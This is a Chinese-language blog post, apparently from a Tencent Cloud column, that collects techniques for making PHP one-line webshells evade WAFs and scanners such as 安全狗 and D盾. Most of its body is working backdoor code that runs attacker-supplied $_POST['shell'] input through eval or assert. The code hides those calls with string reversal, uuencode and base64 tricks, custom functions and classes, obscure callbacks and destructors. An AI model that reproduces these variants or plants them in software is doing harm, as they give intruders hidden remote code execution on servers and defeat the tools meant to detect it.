专栏首页代码审计PHP木马免杀的一些总结

PHP木马免杀的一些总结

前言

这篇文章写一些php木马免杀的一些技巧,希望对大家有点帮助。这里解释一下什么是php木马,这里大体分为三种:

  1. 能完成写入文件、列目录、查看文件、执行一些系统命令等少量功能的,这种的是“小马”。
  2. 可以在目标服务器上执行php代码,并和一些客户端(如菜刀、冰蝎)进行交互的一句话木马。
  3. 根据 PHP 语法,编写较多代码,并在服务器上执行,完成大量间谍功能的“大马” 以上php木马我们一般我们统称为webshell,这篇文章主要写一下如何对一句话木马变异变形来绕过WAF的查杀。

一句话木马原理

讲php一句话木马免杀之前,先简单说一下一句话木马原理,这样才能更好的举一反三。 先看代码:

<?php eval($_POST["shell"]);?>

其中eval就是执行命令的函数,官方给的说明是eval — 把字符串作为PHP代码执行 函数eval()语言结构是 非常危险的,因为它允许执行任意 PHP 代码。 还有一点需要注意:因为是一个语言构造器而不是一个函数,不能被 可变函数 调用。 可变函数:通过一个变量,获取其对应的变量值,然后通过给该值增加一个括号(),让系统认为该值是一个函数,从而当做函数来执行。 说的在通俗一点,就是如果你这样用<?php _POST['shell']就是接收的数据。也可以使用_GET或者

相同功能函数替换

一般WAF查杀,就是检查关键字,而eval上文说过不够灵活,这里可以替换成assert,assert函数PHP手册的解释是:

assert() 回调函数在构建自动测试套件的时候尤其有用,因为它们允许你简易地捕获传入断言的代码,并包含断言的位置信息。当信息能够被其他方法捕获,使用断言可以让它更快更方便!

而我们光替换还是远远不够,还是无法逃过WAF查杀,这样就需要变形了,所以第二种方法字符串变形。绕安全狗比较靠谱,因为安全狗更注重形。而PHP操作字符串的函数非常多,如下图:

这里也总结了一些:

convert_uudecode() #解码一个 uuencode 编码的字符串。
convert_uuencode() #使用 uuencode 编码一个字符串。
ucwords() #函数把字符串中每个单词的首字符转换为大写。
strrev () #反转字符串
trim() #函数从字符串的两端删除空白字符和其他预定义字符。
substr_replace() #函数把字符串的一部分替换为另一个字符串
substr() #函数返回字符串的一部分。
strtr() #函数转换字符串中特定的字符。
strtoupper() #函数把字符串转换为大写。
strtolower() #函数把字符串转换为小写。
implode()  #将一个一维数组的值转化为字符串。
str_rot13() #函数对字符串执行 ROT13 编码。

举个例子:

<?php
// 使用 uuencode 编码一个字符串
$a=convert_uuencode("assert");
$b=convert_uudecode($a);
$b($_POST["shell"]);
?>

这里就不一一举例了。

自定义函数绕过

举个例子:

<?php
function shadog($a){
    $a($_POST["shell"]);
}
shadog(assert);
?>

这种方法绕安全狗比较靠谱,在D盾面前就比较弱智了。

回调函数

call_user_func_array()
call_user_func()
array_filter() 
array_walk()  
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()

现在大部分回调函数已经被杀毒软件加入全家桶了,得找那比较生僻得。 比如:

<?php 
forward_static_call_array(assert,array($_POST["shell"]));
?>

上面说大部分回调函数被杀毒软件加入全家桶,那如何绕过呢?还可以变形,比如我再定义一个函数,或者再定义一个类。 比如我定义一个函数

<?php
function shawaf($a,$b){
    forward_static_call_array($a,$b);
}
shawaf(assert,array($_POST["shell"]));
?>

也可以定义一个类

<?php
class shawaf{
    var $a;
    var $b;
    function __construct($a,$b)
    {
        $this->a=$a;
        $this->b=$b;
    }
    function test(){
        forward_static_call_array($this->a,$this->b);
    }
}
$s1= new shawaf(assert,array($_POST["shell"]));
$s1->test();
?>

特殊字符干扰

特殊字符干扰,要求能干扰到杀毒软件得正则判断,还要代码能执行。比如网上流传得连接符。 举个例子:

<?php
$a = $_POST['a'];
$b = "\n";
eval($b.=$a);
?>

数组绕过

可以把代码放入数组中,执行绕过:

<?php
$a=strrev ("tressa");
$b=[''=>$a($_POST["shell"])];
?>

类绕过

举个例子:

<?php 
class shawaf
{
  public $a = '';
  function __destruct(){

    assert("$this->a");
  }
}

$b = new shawaf;
$b->a = $_POST["shell"];
?>

编码绕过

这个比较常用得是base64_decode,和base64_encode这一对。因为他的正则匹配可以加入一些下划线干扰杀软。 举个例子:

<?php
$a = base64_decode("YXNz+ZX____J____0");
$a($_POST["shell"]);
?>

小结

通过上面得方法,基本可以有上百种变形,多看看PHP手册。还有一点值得注意,就是PHP7.1之后得版本,已经不能使用强大的assert()函数了。在总结一点,结合杀毒软件的特性来构造相应的免杀方法。比如安全狗杀型,D盾杀参,对于关键词的后传入对于绕过主流杀软都是比较好的。

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • php免杀webshell木马总结

    关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 特殊字符干扰 数组 类 编码绕过 无字符特征马 PHP7.1后webshell...

    网e渗透安全部
  • 免杀技巧 | PHP免杀木马绕过某盾

    对于网站木马总重要的就是隐匿性和免杀.在说免杀之前,我想先说说有关于隐匿性的两个小细节.

    HACK学习
  • php 一句话木马检测绕过研究

    一般的,利用能够执行系统命令、加载代码的函数,或者组合一些普通函数,完成一些高级间谍功能的网站后门的脚本,叫做 Webshell。

    信安之路
  • 一句话木马的各种变形

    一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用。一句话木马一直在跟杀软斗智斗勇,出现一种,杀软秒更新规则。木马再变形,再被...

    洛米唯熊
  • php 安全设置总结。

    打开php.ini,查找disable_functions,按如下设置禁用一些函数

    用户7657330
  • 最新网站被挂马被跳转解决办法

    最近收到一位客户的反馈,告知网站又被挂马,(织梦程序真让人头疼总是被挂马,dedecms经常是被挂马真晕了是的~)相信站长们都有遇到过网站被挂马或代码恶意植入的...

    用户6510507
  • Linux下PHP网站服务器安全配置加固防护方法【推荐】

    PHP被广泛用于各种Web开发。而当服务器端脚本配置错误时会出现各种问题。现今,大部分Web服务器是基于Linux环境下运行(比如:Ubuntu,Debian等...

    砸漏
  • 最新网站被挂马被跳转解决办法

    最近收到一位客户的反馈,告知网站又被挂马,(织梦程序真让人头疼总是被挂马,dedecms经常是被挂马真晕了是的~)相信站长们都有遇到过网站被挂马或代码恶意植入的...

    网站安全专家
  • 木马的前世今生:上线方式的发展及新型上线方式的实现

    0x00 前言 在讲文章主题之前,我们还是习惯性地聊(che)一(che)聊(dan)。 远程控制木马大家都不陌生,尤其是早期接触黑客技术的人,应该可以发现早在...

    FB客服

扫码关注云+社区

领取腾讯云代金券